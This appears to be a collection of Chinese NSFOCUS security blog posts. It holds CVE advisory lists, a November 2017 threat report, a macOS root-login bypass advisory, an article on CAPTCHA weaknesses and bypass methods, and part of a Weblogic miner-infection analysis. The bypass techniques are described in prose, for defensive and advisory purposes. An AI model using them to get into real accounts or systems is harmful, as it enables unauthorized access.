  • OpenSAML DynamicMetadataProvider类安全功能绕过漏洞(CVE-2017-16853)
    • 危险等级:低
    • BID:101898
    • cve编号:CVE-2017-16853
  • Cisco FindIT Discovery Utility不安全库加载漏洞(CVE-2017-12314)
    • 危险等级:中
    • BID:101896
    • cve编号:CVE-2017-12314
  • Symantec Management Console目录遍历漏洞(CVE-2017-15527)
    • 危险等级:低
    • BID:101743
    • cve编号:CVE-2017-15527
  • Cisco Network Analysis Module Software目录遍历漏洞(CVE-2017-12285)
    • 危险等级:中
    • BID:101527
    • cve编号:CVE-2017-12285
  • IBM Rational DOORS Next Generation多个跨站脚本漏洞
    • 危险等级:中
    • BID:101895
    • cve编号:CVE-2017-1593,CVE-2017-1546,CVE-2017-1560,CVE-2017-1678,CVE-2017-1461
  • IBM WebSphere Commerce信息泄露漏洞(CVE-2017-1484)
    • 危险等级:中
    • BID:101894
    • cve编号:CVE-2017-1484
  • Node.js ejs ‘ejs.renderFile()’函数拒绝服务漏洞(CVE-2017-1000189)
    • 危险等级:中
    • BID:101893
    • cve编号:CVE-2017-1000189
  • Varnish Cache信息泄露漏洞(CVE-2017-8807)
    • 危险等级:中
    • BID:101886
    • cve编号:CVE-2017-8807
  • Fortinet Fortiweb HTML注入漏洞(CVE-2017-7736)
    • 危险等级:中
    • BID:101916
    • cve编号:CVE-2017-7736
  • Cisco ASA Next-Generation Firewall Services远程安全限制绕过漏洞(CVE-2017-12299)
    • 危险等级:中
    • BID:101915
    • cve编号:CVE-2017-12299
  • Symantec Norton Security for Mac证书欺骗洞(CVE-2017-15528)
    • 危险等级:低
    • BID:101796
    • cve编号:CVE-2017-15528
  • Moodle信息泄露漏洞(CVE-2017-15110)
    • 危险等级:低
    • BID:101909
    • cve编号:CVE-2017-15110
  • Linux kernel ‘block/bio.c’本地信息泄露漏洞(CVE-2017-12190)
    • 危险等级:低
    • BID:101911
    • cve编号:CVE-2017-12190
  • Cisco Spark Board签名验证绕过漏洞(CVE-2017-12306)
    • 危险等级:中
    • BID:101914
    • cve编号:CVE-2017-12306
  • Samba 信息泄露漏洞(CVE-2017-15275)
    • 危险等级:高
    • BID:101908
    • cve编号:CVE-2017-15275
  • Cisco HyperFlex System本地信息泄露骗洞(CVE-2017-12315)
    • 危险等级:中
    • BID:101864
    • cve编号:CVE-2017-12315
  • IBM Tivoli Monitoring任意代码执行漏洞(CVE-2017-1635)
    • 危险等级:中
    • BID:101905
    • cve编号:CVE-2017-1635
  • Samba 任意代码执行洞(CVE-2017-14746)
    • 危险等级:高
    • BID:101907
    • cve编号:CVE-2017-14746
  • VMware多个产品本地任意代码执行漏洞(CVE-2017-4935)
    • 危险等级:高
    • BID:101902
    • cve编号:CVE-2017-4935
  • VMware多个产品本地堆缓冲区溢出漏洞(CVE-2017-4934)
    • 危险等级:高
    • BID:101903
    • cve编号:CVE-2017-4934
  • libbpg ‘cudata.cpp’空指针间接引用拒绝服务漏洞(CVE-2017-13135)
    • 危险等级:低
    • BID:101929
    • cve编号:CVE-2017-13135
  • Intel Manageability Engine本地权限提升漏洞(CVE-2017-5708)
    • 危险等级:高
    • BID:101921
    • cve编号:CVE-2017-5708
  • Intel Manageability Engine本地缓冲区溢出漏洞(CVE-2017-5705)
    • 危险等级:高
    • BID:101917
    • cve编号:CVE-2017-5705
  • Intel Manageability Engine多个本地缓冲区溢出漏洞(CVE-2017-5706)
    • 危险等级:高
    • cve编号:CVE-2017-5706
  • Intel Manageability Engine远程缓冲区溢出漏洞(CVE-2017-5712)
    • 危险等级:高
    • BID:101920
    • cve编号:CVE-2017-5712
  • Intel Manageability Engine多个本地缓冲区溢出漏洞(CVE-2017-5711)
    • 危险等级:高
    • BID:101918
    • cve编号:CVE-2017-5711
  • Intel Manageability Engine多个本地缓冲区溢出漏洞(CVE-2017-5709)
    • 危险等级:高
    • cve编号:CVE-2017-5709
  • Intel Trusted Execution Engine 本地缓冲区溢出漏洞(CVE-2017-5707)
    • 危险等级:高
    • BID:101919
    • cve编号:CVE-2017-5707
  • Intel Trusted Execution Engine 本地缓冲区溢出漏洞(CVE-2017-5710)
    • 危险等级:高
    • BID:101922
    • cve编号:CVE-2017-5710
  • QEMU ‘hw/input/ps2.c’ 信息泄露漏洞(CVE-2017-16845)
    • 危险等级:低
    • BID:101923
    • cve编号:CVE-2017-16845
  • FFmpeg多个拒绝服务漏洞(CVE-2017-16840)
    • 危险等级:低
    • BID:101924
    • cve编号:CVE-2017-16840
  • EMC RSA Authentication Manager HTML注入漏洞(CVE-2017-14379)
    • 危险等级:中
    • BID:101925
    • cve编号:CVE-2017-14379
  • Infinispan ‘hotrod java’ 客户端远程代码执行漏洞(CVE-2016-0750)
    • 危险等级:低
    • BID:101910
    • cve编号:CVE-2016-0750

(数据来源:绿盟科技安全研究部&产品规则组)

2.2 焦点漏洞

  • 焦点漏洞
    • Fortinet Fortiweb HTML注入漏洞
    • NSFOCUS ID
      • 38064
    • CVE ID
      • CVE-2017-7736
    • 受影响版本
      • Fortinet Fortiweb < 5.8.1版本
      • Fortinet Fortiweb < 5.7.2版本
    • 漏洞点评
      • FortiWeb是Fortinet公司开发的一款web应用层防火墙。在5.8.1和5.7.2之前的版本中存在HTML注入漏洞,成功利用后可使攻击者在受影响站点上下文中执行HTML及脚本代码。请使用该产品的用户及时排查是否受到影响,如受影响及时到厂商网站下载更新程序,修复此漏洞。

(数据来源:绿盟科技安全研究部&产品规则组)

文章来源:绿盟科技博客

【安全报告】网络安全威胁月报–201711

$
0
0

绿盟科技网络安全威胁周报及月报系列,旨在简单而快速有效的传递安全威胁态势,呈现重点安全漏洞、安全事件、安全技术。

2017年11月数据统计

  • 高危漏洞发展趋势

2017年11月绿盟科技安全漏洞库共收录173个漏洞, 其中高危漏洞32个,微软高危漏洞6个,10月监测到CVE公布高危漏洞数量为41个。相比10月份漏洞数量基本持平。

备注:由于nvd(https://nvd.nist.gov/)改版,导致数据出现明显数量波动,可能未在数量上反映出真实的威胁态势

  • 互联网安全漏洞

维基解密发布CIA网络武器库Vault8 今天发布蜂巢Hive工具箱

来源:http://toutiao.secjia.com/cia-hive

简述:维基解密发布了第一批CIA 网络武器源代码。今天发布的源代码是一个叫做蜂巢Hive的工具箱, 所谓的植入框架, 一个允许 CIA 特工在受感染的计算机上部署恶意软件的系统。

 

卡巴发布2017Q3APT威胁报告

来源:http://toutiao.secjia.com/2017q3-apt-report

简述:近日卡巴斯基发布了2017Q3APT威胁报告,报告整合了Q3主要的10多个 APT攻击 报告并进行了分析及预测,报告指出许多威胁发起方的注意力可能正在向更危险的方向转移。与传统攻击方式(如鱼叉式钓鱼)相比,对供应链的成功攻击能让攻击者攻入更大范围的目标。

 

Apache CouchDB远程提权漏洞CVE-2017-12635

来源:http://toutiao.secjia.com/couchdb-rpe-cve-2017-12635

简述:Apache CouchDB爆出 远程提权漏洞 ,CVEID CVE-2017-12635,远程攻击者可以利用这个问题,绕过某些限制并进行权限提升。Apache CouchDB版本1.7.0之前, 2.X版本2.1.1之前受到影响。

 

Windows爆出ASLR 0Day漏洞

来源:http://toutiao.secjia.com/windows-aslr-0day

简述:美国计算机应急准备小组CERT警告说,微软执行地址空间布局随机化ASLR 0Day漏洞 会影响Windows 8、Windows 8.1和Windows 10。此漏洞可能允许远程攻击者控制受影响的系统。微软称正在调查此事,但没有给出补丁,也没有置评。

 

拧紧保护学生个人信息这根弦 严禁公示个人敏感信息

来源:http://toutiao.secjia.com/moe-protects-students-privacy

简述:20日,安全加转载 多地高校国家奖学金名单公示,泄露学生个人信息包括身份证号码 。很多人不以为然,表示“学校历来如此,还要你搞技术的提醒?”但教育部还是重视学生个人数据泄露这个事情的。

 

AVGater漏洞突破防病毒软件 影响大批知名杀毒软件 PoC已经公开

来源:http://toutiao.secjia.com/avgater-broke-av

简述:一个研究人员在星期五警告说, 一些流行的防病毒产品受某种类型漏洞的影响, 攻击者可以通过滥用隔离功能,来进行本地提权。

 

优步支付黑客10万美元 掩盖5700万优步用户数据泄露事件

来源:http://toutiao.secjia.com/uber-databreach-57-million

简述:Uber新任首席执行官Dara Khosrowshahi透露,2016年发生了一起重大 数据泄露 事件,该事件中黑客攻击并窃取了5700万名Uber客户和司机的个人数据,而Uber并没有将此事告知监管机构,而选择与黑客和解,支付10万美金让黑客保持沉默

 

Icedid银行木马攻击美金融机构

来源:http://blog.nsfocus.net/icedid-bank-trojan-sample-analysis-report/

简述:近日,IBM X-Force研究小组发现了一种全新的银行木马IcedID。该木马最早于2017年9月在互联网上传播,目标主要为美国金融行业的相关系统。据X-Force研究,该木马包含一个恶意代码的模块,拥有如宙斯木马(Zeus Trojan)等现今银行木马的大部分功能。

 

Office内存破坏漏洞CVE-2017-11882

来源:http://toutiao.secjia.com/office-mcv-cve-2017-11882?from=timeline

简述:Microsoft Office再次爆出内存破坏漏洞 ,CVEID CVE-2017-11882 ,攻击者可以利用此问题,在当前登录用户的上下文中执行任意代码。失败的开发尝试可能会导致拒绝服务条件。受影响版本包括,Office 2016、Office 2013、Office 2010、Office 2007的相关版本。

 

微软发布通用数据保护条例合规工具Compliance Manager

来源:http://toutiao.secjia.com/ms-gdpr-compliance-manager

简述:在10月, 专家剖析欧盟通用数据保护条例GDPR的恐怖之处 ,GDPR明确指出,其中一项是治外法权条款。这意味着GDPR条例虽然适用于欧盟公民,但向该区域提供商品或服务非欧盟组织同样也需遵守该条例。而欧盟要求,违反 通用数据保护条例GDPR ,或面临最高两千万欧元罚金。

 

BadRabbit勒索软件

来源:http://blog.nsfocus.net/badrabbittechnical-analysis-protection-scheme/

简述:距离臭名卓著的“Petya”和“WannaCry”勒索软件大规模爆发还不到半年,又一个新的勒索软件于10月24日出现。这个命名为“坏兔子”(Bad Rabbit)的新型的勒索软件已经在欧洲多个国家进行传播,其中包括俄罗斯、乌克兰、保加利亚、土耳其和德国,并且已经扩散到美国。

 

(来源:绿盟科技威胁情报与网络安全实验室)

  • 绿盟科技漏洞库十大漏洞

声明:本十大安全漏洞由NSFOCUS(绿盟科技)安全小组 <security@nsfocus.com>根据安全漏

洞的严重程度、利用难易程度、影响范围等因素综合评出,仅供参考。

http://www.nsfocus.net/index.php?act=sec_bug&do=top_ten

  1. 2017-11-15 Microsoft Internet Explorer/Edge脚本引擎内存破坏漏洞(CVE-2017-11858)

NSFOCUS ID: 37986

http://www.nsfocus.net/vulndb/37986

综述:Internet Explorer是微软公司推出的一款网页浏览器。Microsoft Edge/Microsoft Internet Explorer由于不正确的内存操作,在脚本引擎实现上存在安全漏洞。

危害:远程攻击者可以通过诱使受害者打开恶意网页来利用此漏洞,从而控制受害者系统。

 

  1. 2017-10-31 Google V8栈缓冲区溢出漏洞(CVE-2017-15396)

NSFOCUS ID: 37901

http://www.nsfocus.net/vulndb/37901

综述:V8是Google的开源JavaScript引擎,用于Chrome中。Google V8在实现上存在栈缓冲区溢出漏洞,可使攻击者在受影响应用上下文中执行任意代码。

危害:远程攻击者可以通过诱使受害者打开恶意网页来利用此漏洞,从而控制受害者系统。

 

  1. 2017-11-01 Apache Struts ‘TextParseUtil.translateVariables()’远程代码执行漏洞(CVE-2016-3090)

NSFOCUS ID: 37910

http://www.nsfocus.net/vulndb/37910

综述:Struts2 是构建企业级Jave Web应用的可扩展框架。Apache Struts 2.x < 2.3.20版本在TextParseUtil.translateVariables方法中存在安全漏洞,可使远程攻击者通过构造的OGNL表达式,执行任意代码。

危害:远程攻击者可以通过向服务器发送恶意请求来利用此漏洞,从而控制服务器。

 

  1. 2017-11-09 Siemens SIMATIC PCS 7拒绝服务漏洞(CVE-2017-14023)

NSFOCUS ID: 37947

http://www.nsfocus.net/vulndb/37947

综述:SIMATIC PCS 7是分布式控制系统。Siemens SIMATIC PCS 7 V8.1 < V8.1 SP1/WinCC V7.3 Upd 13, V8.2版本在实现上存在输入验证漏洞。

危害:经过身份验证的远程攻击者可以通过DCOM接口发送构造的消息,造成服务崩溃。

 

  1. 2017-10-27 Samba任意文件写漏洞(CVE-2017-15087)

NSFOCUS ID: 37892

http://www.nsfocus.net/vulndb/37892

综述:Samba是种用来让UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS网络协议做链接的自由软件。由于CVE-2017-12163漏洞的不完全修复,Samba在实现上存在任意写或覆盖文件漏洞。

危害:攻击者利用此漏洞可写任意内容到samba共享或共享打印机上的文件。

 

  1. 2017-10-27 Apache OpenOffice远程代码执行漏洞(CVE-2017-12608)

NSFOCUS ID: 37887

http://www.nsfocus.net/vulndb/37887

综述:Apache OpenOffice是开放免费的文字处理软件。OpenOffice Writer DOC文件解析器及ImportOldFormatStyles存在安全漏洞。

危害:攻击者可以通过诱使受害者打开恶意doc文件来利用此漏洞,从而控制受害者系统。

 

  1. 2017-10-26 Citrix XenServer内存破坏漏洞(CVE-2017-15597)

NSFOCUS ID: 37873

http://www.nsfocus.net/vulndb/37873

综述:Citrix XenServer产品线是一种企业级平台,通过灵活的聚合计算和存储资源对数据中

心的服务器虚拟化进行管理。Citrix XenServer 7.2及之前版本在实现上存在安全漏洞。

危害:客户端VM恶意管理员可以利用此漏洞控制主机。

 

  1. 2017-11-03 多个思科产品本地命令注入漏洞(CVE-2017-12243)

NSFOCUS ID: 37929

http://www.nsfocus.net/vulndb/37929

综述:Cisco是互联网解决方案提供商。Cisco Unified Computing System (UCS) Manager, Cisco Firepower 4100 Series Next-Generation Firewall (NGFW)等产品由于没有正确验证shell应用内的字符串输入,存在安全漏洞。

危害:经身份验证的本地攻击者获取设备的root shell权限。

 

 

  1. 2017-11-22 VMware多个产品本地任意代码执行漏洞(CVE-2017-4935)

NSFOCUS ID: 38074

http://www.nsfocus.net/vulndb/38074

综述:VMware Workstation 是一款功能强大的桌面虚拟计算机。VMware多个产品在TPView.dll的JPEG2000解析器中存在越界写漏洞。

危害:客户端可以在主机上执行任意代码或造成拒绝服务。

 

  1. 2017-11-09 LibTIFF 多个本地内存破坏漏洞(CVE-2017-16232)

NSFOCUS ID: 37948

http://www.nsfocus.net/vulndb/37948

综述:LibTIFF是一个用来读写标签图像文件格式(简写为TIFF)的库。LibTIFF 4.0.8在实现上存在多个本地内存破坏漏洞,可使攻击者获取敏感信息或造成受影响应用崩溃。

危害:攻击者可以通过诱使受害者打开恶意tiff文件来利用此漏洞,从而控制受害者系统。

 

 

11月份绿盟科技科技威胁情报及网络安全实验室收集及梳理了近24387次攻击,与10月份相比,攻击次数明显降低,这个月的攻击类型分布来看,SYN为最主要的攻击类型,其次NTI、CHARGEN攻击占比都在20%左右

小提示

  • Chargen Flood:Chargen 字符发生器协议(Character Generator Protocol)是一种简单网络协议,设计的目的是用来调试TCP 或UDP 协议程序、测量连接的带宽或进行QoS 的微调等。但这个协议并没有严格的访问控制和流量控制机制。流量放大程度在不同的操作系统上有所不同。有记录称,这种攻击类型最大放大倍数是8倍。
  • NTP Flood:又称NTP Reply Flood Attack,是一种利用网络中时间服务器的脆弱性(无认证,不等价数据交换,UDP协议),来进行DDoS行为的攻击类型。有记录称,这种攻击类型最大放大倍数是9倍。
  • SSDP Flood:智能设备普遍采用UPnP(即插即用)协议作为网络通讯协议, 而UPnP设备的相互发现及感知是通过SSDP协议(简单服务发现协议)进行的。

攻击者伪造了发现请求,伪装被害者IP地址向互联网上大量的智能设备发起SSDP请求,结果被害者就收到了大量智能设备返回的数据,被攻击了。有记录称,这种攻击类型最大放大倍数是30.8倍。

更多相关信息,请关注绿盟科技DDoS威胁报告。

博文精选

恶意样本分析手册–特殊方法篇

windows服务是由三个组件构成的:服务应用,服务控制程序SCP,以及服务控制管理器SCM,当SCM启动一个服务进程时,该进程必须立即调用StartServiceCtrlDispatcher函数。StartServiceCtrlDispatcher函数接受一个入口点列表,每个入口点对应于该进程中的一个服务。

恶意样本分析手册–特殊方法篇

 

打磨渗透测试人员的利器Kali Linux

Kali Linux是基于Debian的Linux发行版,专用于数字取证和渗透测试。在其中选择安装一些办公和常用的渗透测试软件,就能形成渗透测试人员的工作利器。本文既是介绍一些安装和调试方法。

【渗透测试】打磨渗透测试人员的利器Kali Linux

 

打磨渗透测试人员的利器Kali Linux

Kali Linux是基于Debian的Linux发行版,专用于数字取证和渗透测试。在其中选择安装一些办公和常用的渗透测试软件,就能形成渗透测试人员的工作利器。本文既是介绍一些安装和调试方法。

【渗透测试】打磨渗透测试人员的利器Kali Linux

 

【专题策划】“大数据安全”大起底

什么是大数据?“大数据”技术大盘点,运用大数据进行安全可视化

【专题策划】“大数据安全”大起底

 

 

 

(来源:绿盟科技博客)

安全会议

安全会议是从近期召开的若干信息安全会议中选出,仅供参考。

HITCON

时间:DECEMBER 7-8, 2017

简介: 繼 HITCON CMT Mission: Regain The Initiative 的前哨站,悄悄揭開了台灣年度資安盛會 HITCON Pacific 的序幕,我們可以看到今年整個攻擊的手法與規模都趨於泛化,表示威脅將越來越貼近大眾的日常生活,從水電、交通運輸到工廠生產系統、關鍵基礎設施及銀行等,或具有聯網能力之 IoT 設備,其遭受網路攻擊的機會大幅增加.

网址:https://hitcon.org/2017/pacific/

 

文章来源:绿盟科技博客

【威胁通告】macOS High Sierra 10.13.1 root权限提升/绕过漏洞 CVE-2017-13872

$
0
0

北京时间2017年11月29日,苹果MacOS High Sierra(10.13.1)被曝出在验证账户方面存在一个漏洞(CVE-2017-13872),可以导致权限提升和绕过。

 

当特权操作提示用户输入管理凭证时,用户可以简单地输入“root”用户名,并输入空密码。 第一次尝试似乎失败,但实际上,此操作会导致MacOS High Sierra使用指定的凭据以root身份登录。 使用同样的凭证第二次尝试验证登录即可获得root管理员权限。 一旦经过身份验证的用户(本地或通过远程访问,如SSH)触发了此漏洞,root帐户将可获得系统的全部权限。

相关链接:

http://www.kb.cert.org/vuls/id/113765

https://support.apple.com/en-in/HT208315

受影响的版本

  • macOS High Sierra 10.13.1

解决方案

Apple官方已经发布了安全补丁修复了该漏洞,受影响的用户应及时下载并更新来进行防护。

更新方法如下:

运行App Store程序,选择更新标签,发现有更新补丁,点击安装即可。

如果用户无法及时更新,也可考虑如下临时防护措施:

  1. 管理员权限打开Terminal
  2. 输入 sudo passwd –u root
  3. 输入一个新密码

关于如何升级和更改新密码,请参考如下Apple官方连接:

https://support.apple.com/en-us/HT208315

https://support.apple.com/en-us/HT204012

声 明

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

 

关于绿盟科技

北京神州绿盟信息安全科技股份有限公司(简称绿盟科技)成立于2000年4月,总部位于北京。在国内外设有30多个分支机构,为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户,提供具有核心竞争力的安全产品及解决方案,帮助客户实现业务的安全顺畅运行。

基于多年的安全攻防研究,绿盟科技在网络及终端安全、互联网基础安全、合规及安全管理等领域,为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及Web安全防护等产品以及专业安全服务。

北京神州绿盟信息安全科技股份有限公司于2014年1月29日起在深圳证券交易所创业板上市交易,股票简称:绿盟科技,股票代码:300369。

文章来源:绿盟科技博客

【Web安全】浅谈Web安全验证码

$
0
0

2018年春运即将拉开帷幕。春运又称“年度全球最大规模的人口流动”,是一部“人民的斗争史”,起初只是与黄牛斗智斗勇,后来为了整治黄牛12306不断升级验证码,于是大家开始了与验证码斗智斗勇。那么这种验证码是否是必须的?且看小编对Web安全之验证码的解读。

为防止服务器端的资源被客户端的计算机程序滥用或攻击,服务器需要区分当前用户是计算机还是人类,一般在网站的关键操作位置都会采用验证码技术来区分。围绕验证码展开的攻防技术在Web安全中有着重要地位,本文将从验证码的工作原理出发,介绍验证码实现上容易产生的问题,并对其攻防技术现状和未来做一个简要介绍。

前言

全自动区分计算机和人类的图灵测试(Completely Automated Public Turing test to tell Computers and Humans Apart,简称CAPTCHA),俗称验证码,是一种区分用户是计算机或人的全自动化程序。在CAPTCHA测试中,作为服务器端的计算机会自动生成一个问题由用户来解答。这个问题可以由计算机生成并评判,但是必须只有人类才能解答。由于计算机无法解答CAPTCHA的问题,所以回答出问题的用户就可以被认为是人类。

在以前的网络访问中,还不存在验证码的用法,但由于网络更加深入地融合到人们的生产生活中,暴力猜测登陆,垃圾广告贴等在网络中泛滥,消耗了大量的服务器资源同时也可能威胁到服务器的安全,验证码作为一种实用高效技术被大量使用起来。

Web安全的攻击与防护技术一直是互相促进的,验证码识别技术的不断发展推动着验证码生成技术的提高。本文将从验证码技术的原理出发,介绍验证码容易出现的问题以及相关识别技术,以使读者对验证码攻防技术有一个了解。

工作原理

常见的图形验证码是与web中的会话相关联的,在一个会话开始时,在需要使用验证码的地方会生成一个与当前会话相关的验证码,用户识别出验证码后通过填写表单将数据提交给服务器,服务器端会验证此次会话中的验证码是否正确。具体来说,其工作流程如图1所示:

图1 验证码技术工作原理

对用户方来说,用户访问起始页面,识别返回页面中的验证码,在输入验证码和其他信息后提交表单,在服务器处理后可查看到当前操作是否成功。

服务器在接收到用户对初始页面的请求后,会自动创建一个新的会话,同时生成验证码来关联这个会话,并且生成用户可见到的验证码图片,最后这些页面返回到用户的浏览器上,用户此时可看到完整的页面;在接到用户提交的表单请求时,服务器会比较用户提交的验证码值并与之前存储在此会话下的验证码值做比较,如果一致判断验证码是正确,否则认为提交的验证码是错误的,可能是客户端是计算机或者用户识别错误。服务器端进行这些处理后将处理结果反馈给用户。如果提交的验证码是正确的,则按照预定流程进行下一步骤,否则回到需要用户输入的那个界面上。

存在的问题

验证码作为区分人与机器的一道重要屏障,与之相关的对抗技术一直在WEB安全研究上有着重要意义。图片验证码生成算法以及程序实现流程上都有可能带来问题,容易被攻击者突破。

图片验证码的生成可能存在如下问题

1) 图片验证码的字符空间小

如果选取的字符空间较小,则让验证码识别变得相对简单。字母数字组合的字符集比单纯为数字的字符集效果要好。

2) 图片中的字符规则

字符进行变形,扭曲不利于程序的识别,而对人眼识别是无障碍的,但此方法对生成程序来说有一定的难度。

3) 图片中缺少干扰图案

干扰图案能有效增加验证码的识别难度,并且对生成程序来说代价小。

在验证码的程序实现流程方面可能存在如下问题

1) 验证码固定

一般地,用户在开始访问初始页面时,浏览器会向服务器发起页面请求,服务器此时创建会话,同时返回的页面里会嵌入验证码图片地址,浏览器在加载响应页面后,会自动加载验证码图片地址。服务器在接收到验证码图片地址的请求时,会对当前会话生成一个对应的验证码并且返回验证码图片。用户此时根据就可根据验证码图片信息填写表单数据来进行后面的操作,这时,服务器如果检验出提交的验证码是错误的,服务器会返回页面提示错误然后跳转到初始页面,因初始页面内嵌了验证码图片地址,浏览器再次自动刷新验证码页面。

如果验证码输入错误,会在上面的流程里自动刷新验证码,正常情况下,这个过程看起来是没有问题的。但是,由于HTTP请求响应式的工作原理,使得攻击者有可能控制验证码生成页面请求不被触发,使得在服务器上同一会话内,服务器端保存的此会话下的验证码一直有效。
基于此,服务器端的正确处理应该是在验证码检验失败时,就需要设置此验证码失效,同时对生成的每一个验证码也需要设置有效期。

2) 验证码的字符串值出现在返回的响应中

这是属于程序编码考虑不当导致,比如忘记注释掉调试信息导致。验证码可能出现在响应包中的Cookie, URL, 页面注释,甚至验证码在展示的时候直接就是文本方式,这样就完全失去了使用验证码的价值了。

3) 验证码长度可指定

在页面上存在参数可指定验证码的位数,这可简化识别工作。此问题的出现也可能是调试的需要,并发布时忘记注释掉相关代码而导致。

对抗现状

自验证码技术问世以来,其成为自动化程序运行的第一大敌人。在利益的驱动下,突破封锁技术自然也会产生。一般来说,验证码的对抗技术有如下几个方面:

1)避免触发验证码

验证码的引入会带来用户友好度的下降,增加验证码输入以及人眼对验证码识别的可能错误等都会带来不好的使用体验。这对追求用户体验的网站来说,在没遇到可疑行为时,其采取的策略是默认不开启验证码功能,当触发可疑行为识别规则时,才会出现验证码。基于此原理,对攻击方来说,就是尽量避免触发可能出现验证码的规则。一般可疑行为识别是通过检查频繁尝试并且出错这个行为来进行,基于此的对抗措施则是使用不同的IP来进行尝试,或者等待足够的时间再次尝试,这样让目标网站程序认为这些尝试都是正常的访问请求,从而在自动化程序端连续作业时不会出现验证码而达到绕过的目的。

2)验证码固定

从前面的验证码固定问题描述可看出,攻击者可以在同一个会话下,在获得第一个验证码后,后面不再主动触发验证码生成页面,并且一直使用第一个验证码就可循环进行后面的表单操作,从而绕过了验证码的屏障作用。

3)验证码机器自动识别

计算机自动识别验证码,主要原理是通过一定的算法预先建立验证码范围内的字体特征库,再将要识别的验证码通过同样的算法生成特征,与之前保存的特征库进行比较,进而得到图片验证码的值。

一般地,其识别过程有如下图所示的处理流程:

图2 验证码计算机识别过程

A. 去噪处理

主要是去掉图像里的所有干扰信息,比如背景的点,线等。

B. 图像二值化

图像二值化就是将图像上的像素点的灰度值设置为0或255,也就是将整个图像呈现出黑白效果。图像二值化主要是为了将图像与空白区分开来,方便后续步骤的进行。

C. 切片处理

图片的切片处理是将每个字符所在区域分离成一个个的图片,确保一个图片内只有一个文字。

D. 文字图片标准化

对切片后的每个字符图片,还需要进行变形修复处理,比如旋转,缩放等操作尽量将每一个字符图片都调整到标准格式,减小随机度。

E. 字符模板识别

在最后的字符识别阶段,常用是通过模板对比的方法。模板的生成就是通过上述处理过程后,对给定图片处理后把生成的特征保存下来,并且人工识别输入其对应的字符。在用作识别阶段时,就与保存的每个字符特征模板进行比较,从中找出最相近的一个字符来。

4)人工分布式识别

机器自动识别图片验证码,对简单的情况能有较高的准确率,但对干扰多,变形复杂的图片验证码,其准确率会很差。由于图片验证码重要度增加,复杂的图片验证码被大量使用,导致近年来出现了利用众包力量实现的人工验证码识别平台。
其工作原理图下所示:

图3 人工分布式识别

自动化程序将要识别的验证码发送到打码平台,打码平台再将验证码发放给从事验证码识别工作的人员(俗称打码工作),在人工识别后再将值依次返回到自动化程序。由于是人直接参与了验证码的识别,此方法就让验证码完全失去了屏障功能。

验证码未来可能的主要形式

随着验证码攻防技术的对抗升级,验证码技术也出现了一些新的发展动向。
从图片验证码自身的发展来看,主要是围绕增强人脑交互性来展开的,具体来说有如下几个方向:

1)增强干扰和字符变形

从验证码的机器识别可以看出来,增强干扰和字符变形能极大地提高识别难度。像下面的生成的图片验证码,对人眼识别来说都存在着一些难度。

2)拓展字符空间

常见的图片验证码都是数字或者字母,近年来出现了中文字符作为验证码,这样字符空间就增大了很多。

如果字符空间足够大,试图通过制作字符模板库方式来实现识别的难度就变得很大了。

3)增强与用户的互动性

通过增加与用户的互动也可增加难度,但因为这类互动都是通过问答题方式来实现,其题库数量是否足够以及是否具有足够的随机性则成为了关键所在。

如下图所示的问答型验证码:

从验证码的信息传递途径和方式来看,有如下几个方式

1)增加信息传递途径也

在原来只通过网页来传递信息的基础上增加了其他传递方式,比如手机短信等。对于使用手机短信验证码,需要确保其关联的手机号不为攻击者所控制,否则也将失去保护意义。因为通过在手机里安装特定app软件就可以获得短信内容,这对于手机号码攻击者可控的情况下,验证码可轻松绕过;但如果其攻击场景是账号登陆类的,由于手机号码不可控,则使得暴力猜测变得不可能实施。扩展验证码的传递途径需要结合应用场景来使用,确保此途径不容易被攻击者获得。

2)利用动态令牌进行一次一密

通过动态令牌实现的一次一密方式,就必须通过人工交互才能实现,但此方式也增加了使用成本,只适用于密级要求很高的场合。

3)语音方式

语音方式在当前网络也有出现,但主要只是作为方便盲人使用的一个备用方案,但由于智能手机终端的广泛普及,以后也有可能成为一个主要的验证码发展场景。
随着技术的不断发展,以后还会出现其他方式的验证码,但可以肯定的是基于人脑的思维特性来区别于程序的预设特性,至于以后会如何发展,还是让我们拭目以待吧。

小结

本文从验证码概念、工作原理入手,介绍了当前验证码的攻防情况,并且简要介绍了验证码的发展趋势。
可以肯定的是,不管使用何种方式的验证码,都会影响用户体验,机器难以识别的验证码最后也会影响人眼的识别,验证码的设计者们需要在用户体验和安全性方面做一个折衷选择。寄希望于通过验证码来作为对抗机器自动化行为的唯一途径是不可取的,在识别自动化程序发起的远程Web扫描,登陆猜测等方面,推荐架设WAF类的专业防护产品。目前,绿盟科技的WAF产品能对此类问题提供完整的解决方案,有效阻挡即将发生的安全事件。

参考

http://drops.wooyun.org/tips/141 常见验证码的弱点与验证码识别
http://zh.wikipedia.org/zh/%E9%AA%8C%E8%AF%81%E7%A0%81 验证码
http://drops.wooyun.org/tips/141 常见验证码的弱点与验证码识别

如果您需要了解更多内容,可以
加入QQ群:570982169、486207500
直接询问:010-68438880-8669

文章来源:绿盟科技博客

Weblogic WLS组件漏洞技术分析与防护方案

$
0
0

近日,绿盟科技应急响应团队也陆续接到来自金融、运营商及互联网等多个行业的客户的安全事件的反馈,发现Weblogic主机被攻击者植入恶意程序,经分析,攻击者利用Weblogic WLS 组件漏洞(CVE-2017-10271),构造payload下载并执行虚拟币挖矿程序,对Weblogic中间件主机进行攻击。

受影响的版本

  • Weblogic Server 10.3.6.0.0,
  • Weblogic Server 12.1.3.0.0,
  • Weblogic Server 12.2.1.1.0,
  • Weblogic Server 12.2.1.2.0

以上均为Weblogic官方还在支持的版本

不受影响的版本

  • Weblogic Server 12.2.1.3

技术防护方案

用户自查

由于此次攻击主要目的为下载执行挖矿程序,从主机层面可通过监控主机系统资源或进程分析方式进行检测,从网络层面可对C&C地址及矿池相关域名/IP进行监控,以发现其他受感染主机。

针对linux主机,首先查看/tmp目录中是否存在属主为WebLogic运行账户的相关可疑文件,如:watch-smartd、Carbon、default。

同时通过进程及系统资源分析,是否存在启动用户为WebLogic运行账户的相关可疑进程。

